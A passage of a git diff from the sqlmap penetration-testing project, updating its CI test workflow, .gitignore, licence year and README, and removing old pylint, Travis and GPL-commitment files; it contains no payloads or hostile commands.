files = subprocess.check_output(
|
||||||
|
["git", "ls-files", "*.py"]
|
||||||
|
).decode("utf-8").splitlines()
|
||||||
|
|
||||||
|
files = [
|
||||||
|
f for f in files
|
||||||
|
if not f.startswith("thirdparty/")
|
||||||
|
]
|
||||||
|
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
[sys.executable, "-m", "pyflakes"] + files,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
)
|
||||||
|
out, _ = proc.communicate()
|
||||||
|
|
||||||
|
text = out.decode("utf-8", "replace")
|
||||||
|
lines = [
|
||||||
|
line for line in text.splitlines()
|
||||||
|
if " redefines " not in line
|
||||||
|
]
|
||||||
|
|
||||||
|
if lines:
|
||||||
|
print("\n".join(lines))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if proc.returncode not in (0, 1):
|
||||||
|
if text:
|
||||||
|
print(text)
|
||||||
|
print("pyflakes failed unexpectedly with status %s" % proc.returncode)
|
||||||
|
sys.exit(proc.returncode or 1)
|
||||||
|
|
||||||
|
print("pyflakes: clean")
|
||||||
|
PY
|
||||||
|
|
||||||
|
- name: Basic import test
|
||||||
|
run: python -c "import sqlmap; import sqlmapapi"
|
||||||
|
|
||||||
|
- name: Install optional test deps (lxml, jinja2)
|
||||||
|
# lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
|
||||||
|
# tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
|
||||||
|
# endpoints) skip themselves when the engine is unavailable, so these deps are only needed
|
||||||
|
# on the Py3 jobs.
|
||||||
|
if: matrix.python-version != 'pypy-2.7'
|
||||||
|
run: python -m pip install -q lxml jinja2
|
||||||
|
|
||||||
|
- name: Unit tests
|
||||||
|
# -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
|
||||||
|
# point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
|
||||||
|
# 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
|
||||||
|
run: python -B -m unittest discover -s tests -p "test_*.py"
|
||||||
|
|
||||||
|
- name: Esperanto self-test
|
||||||
|
# offline, deterministic engine check against an in-memory SQLite boolean oracle: all
|
||||||
|
# compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy
|
||||||
|
# handoff (a failed assertion exits non-zero)
|
||||||
|
run: python extra/esperanto/run.py --self-test
|
||||||
|
|
||||||
|
- name: Coverage
|
||||||
|
if: matrix.python-version != 'pypy-2.7'
|
||||||
|
run: |
|
||||||
|
python -m pip install coverage
|
||||||
|
python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
|
||||||
|
python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
|
||||||
|
python -m coverage report --fail-under=50
|
||||||
|
|
||||||
|
- name: Smoke test
|
||||||
|
run: python sqlmap.py --smoke-test
|
||||||
|
|
||||||
|
- name: Payload lint
|
||||||
|
# offline: emulates blind + UNION enumeration across all DBMSes and checks
|
||||||
|
# every payload agent.py builds with lib/utils/sqllint (structural sanity)
|
||||||
|
run: python sqlmap.py --payload-lint
|
||||||
|
|
||||||
|
- name: Vuln test
|
||||||
|
run: python sqlmap.py --vuln-test
|
||||||
|
|
||||||
|
- name: API test
|
||||||
|
run: python sqlmap.py --api-test
|
||||||
+12
@@ -6,3 +6,15 @@ traffic.txt
|
|||||||
*~
|
*~
|
||||||
req*.txt
|
req*.txt
|
||||||
.idea/
|
.idea/
|
||||||
|
.aider*
|
||||||
|
.DS_Store
|
||||||
|
.github/.DS_Store
|
||||||
|
data/.DS_Store
|
||||||
|
extra/.DS_Store
|
||||||
|
lib/.DS_Store
|
||||||
|
plugins/.DS_Store
|
||||||
|
thirdparty/.DS_Store
|
||||||
|
CLAUDE.md
|
||||||
|
.coverage
|
||||||
|
.codegraph/
|
||||||
|
.claude/
|
||||||
|
|||||||
@@ -1,546 +0,0 @@
|
|||||||
# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
|
|
||||||
|
|
||||||
[MASTER]
|
|
||||||
|
|
||||||
# Specify a configuration file.
|
|
||||||
#rcfile=
|
|
||||||
|
|
||||||
# Python code to execute, usually for sys.path manipulation such as
|
|
||||||
# pygtk.require().
|
|
||||||
init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
|
|
||||||
|
|
||||||
# Add files or directories to the blacklist. They should be base names, not
|
|
||||||
# paths.
|
|
||||||
ignore=
|
|
||||||
|
|
||||||
# Pickle collected data for later comparisons.
|
|
||||||
persistent=no
|
|
||||||
|
|
||||||
# List of plugins (as comma separated values of python modules names) to load,
|
|
||||||
# usually to register additional checkers.
|
|
||||||
load-plugins=
|
|
||||||
|
|
||||||
# Use multiple processes to speed up Pylint.
|
|
||||||
# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
|
|
||||||
jobs=1
|
|
||||||
|
|
||||||
# Allow loading of arbitrary C extensions. Extensions are imported into the
|
|
||||||
# active Python interpreter and may run arbitrary code.
|
|
||||||
unsafe-load-any-extension=no
|
|
||||||
|
|
||||||
# A comma-separated list of package or module names from where C extensions may
|
|
||||||
# be loaded. Extensions are loading into the active Python interpreter and may
|
|
||||||
# run arbitrary code
|
|
||||||
extension-pkg-whitelist=
|
|
||||||
|
|
||||||
# Allow optimization of some AST trees. This will activate a peephole AST
|
|
||||||
# optimizer, which will apply various small optimizations. For instance, it can
|
|
||||||
# be used to obtain the result of joining multiple strings with the addition
|
|
||||||
# operator. Joining a lot of strings can lead to a maximum recursion error in
|
|
||||||
# Pylint and this flag can prevent that. It has one side effect, the resulting
|
|
||||||
# AST will be different than the one from reality.
|
|
||||||
optimize-ast=no
|
|
||||||
|
|
||||||
|
|
||||||
[MESSAGES CONTROL]
|
|
||||||
|
|
||||||
# Only show warnings with the listed confidence levels. Leave empty to show
|
|
||||||
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
|
|
||||||
confidence=
|
|
||||||
|
|
||||||
# Enable the message, report, category or checker with the given id(s). You can
|
|
||||||
# either give multiple identifier separated by comma (,) or put this option
|
|
||||||
# multiple time. See also the "--disable" option for examples.
|
|
||||||
disable=all
|
|
||||||
|
|
||||||
enable=import-error,
|
|
||||||
import-self,
|
|
||||||
reimported,
|
|
||||||
wildcard-import,
|
|
||||||
misplaced-future,
|
|
||||||
deprecated-module,
|
|
||||||
unpacking-non-sequence,
|
|
||||||
invalid-all-object,
|
|
||||||
undefined-all-variable,
|
|
||||||
used-before-assignment,
|
|
||||||
cell-var-from-loop,
|
|
||||||
global-variable-undefined,
|
|
||||||
redefine-in-handler,
|
|
||||||
unused-import,
|
|
||||||
unused-wildcard-import,
|
|
||||||
global-variable-not-assigned,
|
|
||||||
undefined-loop-variable,
|
|
||||||
global-at-module-level,
|
|
||||||
bad-open-mode,
|
|
||||||
redundant-unittest-assert,
|
|
||||||
boolean-datetime
|
|
||||||
deprecated-method,
|
|
||||||
anomalous-unicode-escape-in-string,
|
|
||||||
anomalous-backslash-in-string,
|
|
||||||
not-in-loop,
|
|
||||||
continue-in-finally,
|
|
||||||
abstract-class-instantiated,
|
|
||||||
star-needs-assignment-target,
|
|
||||||
duplicate-argument-name,
|
|
||||||
return-in-init,
|
|
||||||
too-many-star-expressions,
|
|
||||||
nonlocal-and-global,
|
|
||||||
return-outside-function,
|
|
||||||
return-arg-in-generator,
|
|
||||||
invalid-star-assignment-target,
|
|
||||||
bad-reversed-sequence,
|
|
||||||
nonexistent-operator,
|
|
||||||
yield-outside-function,
|
|
||||||
init-is-generator,
|
|
||||||
nonlocal-without-binding,
|
|
||||||
lost-exception,
|
|
||||||
assert-on-tuple,
|
|
||||||
dangerous-default-value,
|
|
||||||
duplicate-key,
|
|
||||||
useless-else-on-loop
|
|
||||||
expression-not-assigned,
|
|
||||||
confusing-with-statement,
|
|
||||||
unnecessary-lambda,
|
|
||||||
pointless-statement,
|
|
||||||
pointless-string-statement,
|
|
||||||
unnecessary-pass,
|
|
||||||
unreachable,
|
|
||||||
using-constant-test,
|
|
||||||
bad-super-call,
|
|
||||||
missing-super-argument,
|
|
||||||
slots-on-old-class,
|
|
||||||
super-on-old-class,
|
|
||||||
property-on-old-class,
|
|
||||||
not-an-iterable,
|
|
||||||
not-a-mapping,
|
|
||||||
format-needs-mapping,
|
|
||||||
truncated-format-string,
|
|
||||||
missing-format-string-key,
|
|
||||||
mixed-format-string,
|
|
||||||
too-few-format-args,
|
|
||||||
bad-str-strip-call,
|
|
||||||
too-many-format-args,
|
|
||||||
bad-format-character,
|
|
||||||
format-combined-specification,
|
|
||||||
bad-format-string-key,
|
|
||||||
bad-format-string,
|
|
||||||
missing-format-attribute,
|
|
||||||
missing-format-argument-key,
|
|
||||||
unused-format-string-argument
|
|
||||||
unused-format-string-key,
|
|
||||||
invalid-format-index,
|
|
||||||
bad-indentation,
|
|
||||||
mixed-indentation,
|
|
||||||
unnecessary-semicolon,
|
|
||||||
lowercase-l-suffix,
|
|
||||||
invalid-encoded-data,
|
|
||||||
unpacking-in-except,
|
|
||||||
import-star-module-level,
|
|
||||||
long-suffix,
|
|
||||||
old-octal-literal,
|
|
||||||
old-ne-operator,
|
|
||||||
backtick,
|
|
||||||
old-raise-syntax,
|
|
||||||
metaclass-assignment,
|
|
||||||
next-method-called,
|
|
||||||
dict-iter-method,
|
|
||||||
dict-view-method,
|
|
||||||
indexing-exception,
|
|
||||||
raising-string,
|
|
||||||
using-cmp-argument,
|
|
||||||
cmp-method,
|
|
||||||
coerce-method,
|
|
||||||
delslice-method,
|
|
||||||
getslice-method,
|
|
||||||
hex-method,
|
|
||||||
nonzero-method,
|
|
||||||
t-method,
|
|
||||||
setslice-method,
|
|
||||||
old-division,
|
|
||||||
logging-format-truncated,
|
|
||||||
logging-too-few-args,
|
|
||||||
logging-too-many-args,
|
|
||||||
logging-unsupported-format,
|
|
||||||
logging-format-interpolation,
|
|
||||||
invalid-unary-operand-type,
|
|
||||||
unsupported-binary-operation,
|
|
||||||
not-callable,
|
|
||||||
redundant-keyword-arg,
|
|
||||||
assignment-from-no-return,
|
|
||||||
assignment-from-none,
|
|
||||||
not-context-manager,
|
|
||||||
repeated-keyword,
|
|
||||||
missing-kwoa,
|
|
||||||
no-value-for-parameter,
|
|
||||||
invalid-sequence-index,
|
|
||||||
invalid-slice-index,
|
|
||||||
unexpected-keyword-arg,
|
|
||||||
unsupported-membership-test,
|
|
||||||
unsubscriptable-object,
|
|
||||||
access-member-before-definition,
|
|
||||||
method-hidden,
|
|
||||||
assigning-non-slot,
|
|
||||||
duplicate-bases,
|
|
||||||
inconsistent-mro,
|
|
||||||
inherit-non-class,
|
|
||||||
invalid-slots,
|
|
||||||
invalid-slots-object,
|
|
||||||
no-method-argument,
|
|
||||||
no-self-argument,
|
|
||||||
unexpected-special-method-signature,
|
|
||||||
non-iterator-returned,
|
|
||||||
arguments-differ,
|
|
||||||
signature-differs,
|
|
||||||
bad-staticmethod-argument,
|
|
||||||
non-parent-init-called,
|
|
||||||
bad-except-order,
|
|
||||||
catching-non-exception,
|
|
||||||
bad-exception-context,
|
|
||||||
notimplemented-raised,
|
|
||||||
raising-bad-type,
|
|
||||||
raising-non-exception,
|
|
||||||
misplaced-bare-raise,
|
|
||||||
duplicate-except,
|
|
||||||
nonstandard-exception,
|
|
||||||
binary-op-exception,
|
|
||||||
not-async-context-manager,
|
|
||||||
yield-inside-async-function
|
|
||||||
|
|
||||||
# Needs investigation:
|
|
||||||
# abstract-method (might be indicating a bug? probably not though)
|
|
||||||
# protected-access (requires some refactoring)
|
|
||||||
# attribute-defined-outside-init (requires some refactoring)
|
|
||||||
# super-init-not-called (requires some cleanup)
|
|
||||||
|
|
||||||
# Things we'd like to enable someday:
|
|
||||||
# redefined-builtin (requires a bunch of work to clean up our code first)
|
|
||||||
# redefined-outer-name (requires a bunch of work to clean up our code first)
|
|
||||||
# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
|
|
||||||
# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
|
|
||||||
# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
|
|
||||||
# function-redefined (@overload causes lots of spurious warnings)
|
|
||||||
# too-many-function-args (@overload causes spurious warnings... I think)
|
|
||||||
# parameter-unpacking (needed for eventual Python 3 compat)
|
|
||||||
# print-statement (needed for eventual Python 3 compat)
|
|
||||||
# filter-builtin-not-iterating (Python 3)
|
|
||||||
# map-builtin-not-iterating (Python 3)
|
|
||||||
# range-builtin-not-iterating (Python 3)
|
|
||||||
# zip-builtin-not-iterating (Python 3)
|
|
||||||
# many others relevant to Python 3
|
|
||||||
# unused-variable (a little work to cleanup, is all)
|
|
||||||
|
|
||||||
# ...
|
|
||||||
[REPORTS]
|
|
||||||
|
|
||||||
# Set the output format. Available formats are text, parseable, colorized, msvs
|
|
||||||
# (visual studio) and html. You can also give a reporter class, eg
|
|
||||||
# mypackage.mymodule.MyReporterClass.
|
|
||||||
output-format=parseable
|
|
||||||
|
|
||||||
# Put messages in a separate file for each module / package specified on the
|
|
||||||
# command line instead of printing them on stdout. Reports (if any) will be
|
|
||||||
# written in a file name "pylint_global.[txt|html]".
|
|
||||||
files-output=no
|
|
||||||
|
|
||||||
# Tells whether to display a full report or only the messages
|
|
||||||
reports=no
|
|
||||||
|
|
||||||
# Python expression which should return a note less than 10 (10 is the highest
|
|
||||||
# note). You have access to the variables errors warning, statement which
|
|
||||||
# respectively contain the number of errors / warnings messages and the total
|
|
||||||
# number of statements analyzed. This is used by the global evaluation report
|
|
||||||
# (RP0004).
|
|
||||||
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
|
|
||||||
|
|
||||||
# Template used to display messages. This is a python new-style format string
|
|
||||||
# used to format the message information. See doc for all details
|
|
||||||
#msg-template=
|
|
||||||
|
|
||||||
|
|
||||||
[LOGGING]
|
|
||||||
|
|
||||||
# Logging modules to check that the string format arguments are in logging
|
|
||||||
# function parameter format
|
|
||||||
logging-modules=logging
|
|
||||||
|
|
||||||
|
|
||||||
[FORMAT]
|
|
||||||
|
|
||||||
# Maximum number of characters on a single line.
|
|
||||||
max-line-length=100
|
|
||||||
|
|
||||||
# Regexp for a line that is allowed to be longer than the limit.
|
|
||||||
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
|
|
||||||
|
|
||||||
# Allow the body of an if to be on the same line as the test if there is no
|
|
||||||
# else.
|
|
||||||
single-line-if-stmt=no
|
|
||||||
|
|
||||||
# List of optional constructs for which whitespace checking is disabled. `dict-
|
|
||||||
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
|
|
||||||
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
|
|
||||||
# `empty-line` allows space-only lines.
|
|
||||||
no-space-check=trailing-comma,dict-separator
|
|
||||||
|
|
||||||
# Maximum number of lines in a module
|
|
||||||
max-module-lines=1000
|
|
||||||
|
|
||||||
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
|
|
||||||
# tab).
|
|
||||||
indent-string=' '
|
|
||||||
|
|
||||||
# Number of spaces of indent required inside a hanging or continued line.
|
|
||||||
indent-after-paren=4
|
|
||||||
|
|
||||||
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
|
|
||||||
expected-line-ending-format=
|
|
||||||
|
|
||||||
|
|
||||||
[TYPECHECK]
|
|
||||||
|
|
||||||
# Tells whether missing members accessed in mixin class should be ignored. A
|
|
||||||
# mixin class is detected if its name ends with "mixin" (case insensitive).
|
|
||||||
ignore-mixin-members=yes
|
|
||||||
|
|
||||||
# List of module names for which member attributes should not be checked
|
|
||||||
# (useful for modules/projects where namespaces are manipulated during runtime
|
|
||||||
# and thus existing member attributes cannot be deduced by static analysis. It
|
|
||||||
# supports qualified module names, as well as Unix pattern matching.
|
|
||||||
ignored-modules=thirdparty.six.moves
|
|
||||||
|
|
||||||
# List of classes names for which member attributes should not be checked
|
|
||||||
# (useful for classes with attributes dynamically set). This supports can work
|
|
||||||
# with qualified names.
|
|
||||||
ignored-classes=
|
|
||||||
|
|
||||||
# List of members which are set dynamically and missed by pylint inference
|
|
||||||
# system, and so shouldn't trigger E1101 when accessed. Python regular
|
|
||||||
# expressions are accepted.
|
|
||||||
generated-members=
|
|
||||||
|
|
||||||
|
|
||||||
[VARIABLES]
|
|
||||||
|
|
||||||
# Tells whether we should check for unused import in __init__ files.
|
|
||||||
init-import=no
|
|
||||||
|
|
||||||
# A regular expression matching the name of dummy variables (i.e. expectedly
|
|
||||||
# not used).
|
|
||||||
dummy-variables-rgx=_$|dummy
|
|
||||||
|
|
||||||
# List of additional names supposed to be defined in builtins. Remember that
|
|
||||||
# you should avoid to define new builtins when possible.
|
|
||||||
additional-builtins=
|
|
||||||
|
|
||||||
# List of strings which can identify a callback function by name. A callback
|
|
||||||
# name must start or end with one of those strings.
|
|
||||||
callbacks=cb_,_cb
|
|
||||||
|
|
||||||
|
|
||||||
[SIMILARITIES]
|
|
||||||
|
|
||||||
# Minimum lines number of a similarity.
|
|
||||||
min-similarity-lines=4
|
|
||||||
|
|
||||||
# Ignore comments when computing similarities.
|
|
||||||
ignore-comments=yes
|
|
||||||
|
|
||||||
# Ignore docstrings when computing similarities.
|
|
||||||
ignore-docstrings=yes
|
|
||||||
|
|
||||||
# Ignore imports when computing similarities.
|
|
||||||
ignore-imports=no
|
|
||||||
|
|
||||||
|
|
||||||
[SPELLING]
|
|
||||||
|
|
||||||
# Spelling dictionary name. Available dictionaries: none. To make it working
|
|
||||||
# install python-enchant package.
|
|
||||||
spelling-dict=
|
|
||||||
|
|
||||||
# List of comma separated words that should not be checked.
|
|
||||||
spelling-ignore-words=
|
|
||||||
|
|
||||||
# A path to a file that contains private dictionary; one word per line.
|
|
||||||
spelling-private-dict-file=
|
|
||||||
|
|
||||||
# Tells whether to store unknown words to indicated private dictionary in
|
|
||||||
# --spelling-private-dict-file option instead of raising a message.
|
|
||||||
spelling-store-unknown-words=no
|
|
||||||
|
|
||||||
|
|
||||||
[MISCELLANEOUS]
|
|
||||||
|
|
||||||
# List of note tags to take in consideration, separated by a comma.
|
|
||||||
notes=FIXME,XXX,TODO
|
|
||||||
|
|
||||||
|
|
||||||
[BASIC]
|
|
||||||
|
|
||||||
# List of builtins function names that should not be used, separated by a comma
|
|
||||||
bad-functions=map,filter,input
|
|
||||||
|
|
||||||
# Good variable names which should always be accepted, separated by a comma
|
|
||||||
good-names=i,j,k,ex,Run,_
|
|
||||||
|
|
||||||
# Bad variable names which should always be refused, separated by a comma
|
|
||||||
bad-names=foo,bar,baz,toto,tutu,tata
|
|
||||||
|
|
||||||
# Colon-delimited sets of names that determine each other's naming style when
|
|
||||||
# the name regexes allow several styles.
|
|
||||||
name-group=
|
|
||||||
|
|
||||||
# Include a hint for the correct naming format with invalid-name
|
|
||||||
include-naming-hint=no
|
|
||||||
|
|
||||||
# Regular expression matching correct function names
|
|
||||||
function-rgx=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Naming hint for function names
|
|
||||||
function-name-hint=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Regular expression matching correct variable names
|
|
||||||
variable-rgx=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Naming hint for variable names
|
|
||||||
variable-name-hint=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Regular expression matching correct constant names
|
|
||||||
const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
|
|
||||||
|
|
||||||
# Naming hint for constant names
|
|
||||||
const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
|
|
||||||
|
|
||||||
# Regular expression matching correct attribute names
|
|
||||||
attr-rgx=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Naming hint for attribute names
|
|
||||||
attr-name-hint=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Regular expression matching correct argument names
|
|
||||||
argument-rgx=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Naming hint for argument names
|
|
||||||
argument-name-hint=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Regular expression matching correct class attribute names
|
|
||||||
class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
|
|
||||||
|
|
||||||
# Naming hint for class attribute names
|
|
||||||
class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
|
|
||||||
|
|
||||||
# Regular expression matching correct inline iteration names
|
|
||||||
inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
|
|
||||||
|
|
||||||
# Naming hint for inline iteration names
|
|
||||||
inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
|
|
||||||
|
|
||||||
# Regular expression matching correct class names
|
|
||||||
class-rgx=[A-Z_][a-zA-Z0-9]+$
|
|
||||||
|
|
||||||
# Naming hint for class names
|
|
||||||
class-name-hint=[A-Z_][a-zA-Z0-9]+$
|
|
||||||
|
|
||||||
# Regular expression matching correct module names
|
|
||||||
module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
|
|
||||||
|
|
||||||
# Naming hint for module names
|
|
||||||
module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
|
|
||||||
|
|
||||||
# Regular expression matching correct method names
|
|
||||||
method-rgx=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Naming hint for method names
|
|
||||||
method-name-hint=[a-z_][a-z0-9_]{2,30}$
|
|
||||||
|
|
||||||
# Regular expression which should only match function or class names that do
|
|
||||||
# not require a docstring.
|
|
||||||
no-docstring-rgx=^_
|
|
||||||
|
|
||||||
# Minimum line length for functions/classes that require docstrings, shorter
|
|
||||||
# ones are exempt.
|
|
||||||
docstring-min-length=-1
|
|
||||||
|
|
||||||
|
|
||||||
[ELIF]
|
|
||||||
|
|
||||||
# Maximum number of nested blocks for function / method body
|
|
||||||
max-nested-blocks=5
|
|
||||||
|
|
||||||
|
|
||||||
[IMPORTS]
|
|
||||||
|
|
||||||
# Deprecated modules which should not be used, separated by a comma
|
|
||||||
deprecated-modules=regsub,TERMIOS,Bastion,rexec
|
|
||||||
|
|
||||||
# Create a graph of every (i.e. internal and external) dependencies in the
|
|
||||||
# given file (report RP0402 must not be disabled)
|
|
||||||
import-graph=
|
|
||||||
|
|
||||||
# Create a graph of external dependencies in the given file (report RP0402 must
|
|
||||||
# not be disabled)
|
|
||||||
ext-import-graph=
|
|
||||||
|
|
||||||
# Create a graph of internal dependencies in the given file (report RP0402 must
|
|
||||||
# not be disabled)
|
|
||||||
int-import-graph=
|
|
||||||
|
|
||||||
|
|
||||||
[DESIGN]
|
|
||||||
|
|
||||||
# Maximum number of arguments for function / method
|
|
||||||
max-args=5
|
|
||||||
|
|
||||||
# Argument names that match this expression will be ignored. Default to name
|
|
||||||
# with leading underscore
|
|
||||||
ignored-argument-names=_.*
|
|
||||||
|
|
||||||
# Maximum number of locals for function / method body
|
|
||||||
max-locals=15
|
|
||||||
|
|
||||||
# Maximum number of return / yield for function / method body
|
|
||||||
max-returns=6
|
|
||||||
|
|
||||||
# Maximum number of branch for function / method body
|
|
||||||
max-branches=12
|
|
||||||
|
|
||||||
# Maximum number of statements in function / method body
|
|
||||||
max-statements=50
|
|
||||||
|
|
||||||
# Maximum number of parents for a class (see R0901).
|
|
||||||
max-parents=7
|
|
||||||
|
|
||||||
# Maximum number of attributes for a class (see R0902).
|
|
||||||
max-attributes=7
|
|
||||||
|
|
||||||
# Minimum number of public methods for a class (see R0903).
|
|
||||||
min-public-methods=2
|
|
||||||
|
|
||||||
# Maximum number of public methods for a class (see R0904).
|
|
||||||
max-public-methods=20
|
|
||||||
|
|
||||||
# Maximum number of boolean expressions in a if statement
|
|
||||||
max-bool-expr=5
|
|
||||||
|
|
||||||
|
|
||||||
[CLASSES]
|
|
||||||
|
|
||||||
# List of method names used to declare (i.e. assign) instance attributes.
|
|
||||||
defining-attr-methods=__init__,__new__,setUp
|
|
||||||
|
|
||||||
# List of valid names for the first argument in a class method.
|
|
||||||
valid-classmethod-first-arg=cls
|
|
||||||
|
|
||||||
# List of valid names for the first argument in a metaclass class method.
|
|
||||||
valid-metaclass-classmethod-first-arg=mcs
|
|
||||||
|
|
||||||
# List of member names, which should be excluded from the protected access
|
|
||||||
# warning.
|
|
||||||
exclude-protected=_asdict,_fields,_replace,_source,_make
|
|
||||||
|
|
||||||
|
|
||||||
[EXCEPTIONS]
|
|
||||||
|
|
||||||
# Exceptions that will emit a warning when being caught. Defaults to
|
|
||||||
# "Exception"
|
|
||||||
overgeneral-exceptions=Exception
|
|
||||||
-20
@@ -1,20 +0,0 @@
|
|||||||
language: python
|
|
||||||
jobs:
|
|
||||||
include:
|
|
||||||
- python: 2.6
|
|
||||||
dist: trusty
|
|
||||||
- python: 2.7
|
|
||||||
dist: trusty
|
|
||||||
- python: 3.3
|
|
||||||
dist: trusty
|
|
||||||
- python: 3.6
|
|
||||||
dist: trusty
|
|
||||||
- python: 3.9-dev
|
|
||||||
dist: bionic
|
|
||||||
sudo: false
|
|
||||||
git:
|
|
||||||
depth: 1
|
|
||||||
script:
|
|
||||||
- python -c "import sqlmap; import sqlmapapi"
|
|
||||||
- python sqlmap.py --smoke
|
|
||||||
- python sqlmap.py --vuln
|
|
||||||
-46
@@ -1,46 +0,0 @@
|
|||||||
GPL Cooperation Commitment
|
|
||||||
Version 1.0
|
|
||||||
|
|
||||||
Before filing or continuing to prosecute any legal proceeding or claim
|
|
||||||
(other than a Defensive Action) arising from termination of a Covered
|
|
||||||
License, we commit to extend to the person or entity ('you') accused
|
|
||||||
of violating the Covered License the following provisions regarding
|
|
||||||
cure and reinstatement, taken from GPL version 3. As used here, the
|
|
||||||
term 'this License' refers to the specific Covered License being
|
|
||||||
enforced.
|
|
||||||
|
|
||||||
However, if you cease all violation of this License, then your
|
|
||||||
license from a particular copyright holder is reinstated (a)
|
|
||||||
provisionally, unless and until the copyright holder explicitly
|
|
||||||
and finally terminates your license, and (b) permanently, if the
|
|
||||||
copyright holder fails to notify you of the violation by some
|
|
||||||
reasonable means prior to 60 days after the cessation.
|
|
||||||
|
|
||||||
Moreover, your license from a particular copyright holder is
|
|
||||||
reinstated permanently if the copyright holder notifies you of the
|
|
||||||
violation by some reasonable means, this is the first time you
|
|
||||||
have received notice of violation of this License (for any work)
|
|
||||||
from that copyright holder, and you cure the violation prior to 30
|
|
||||||
days after your receipt of the notice.
|
|
||||||
|
|
||||||
We intend this Commitment to be irrevocable, and binding and
|
|
||||||
enforceable against us and assignees of or successors to our
|
|
||||||
copyrights.
|
|
||||||
|
|
||||||
Definitions
|
|
||||||
|
|
||||||
'Covered License' means the GNU General Public License, version 2
|
|
||||||
(GPLv2), the GNU Lesser General Public License, version 2.1
|
|
||||||
(LGPLv2.1), or the GNU Library General Public License, version 2
|
|
||||||
(LGPLv2), all as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
'Defensive Action' means a legal proceeding or claim that We bring
|
|
||||||
against you in response to a prior proceeding or claim initiated by
|
|
||||||
you or your affiliate.
|
|
||||||
|
|
||||||
'We' means each contributor to this repository as of the date of
|
|
||||||
inclusion of this file, including subsidiaries of a corporate
|
|
||||||
contributor.
|
|
||||||
|
|
||||||
This work is available under a Creative Commons Attribution-ShareAlike
|
|
||||||
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||||
of the GNU General Public License (GPL) is appended to this file.
|
of the GNU General Public License (GPL) is appended to this file.
|
||||||
|
|
||||||
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||||
|
|
||||||
This program is free software; you may redistribute and/or modify it under
|
This program is free software; you may redistribute and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -1,11 +1,9 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||||
|
|
||||||
**The sqlmap project is currently searching for sponsor(s).**
|
|
||||||
|
|
||||||
Screenshots
|
Screenshots
|
||||||
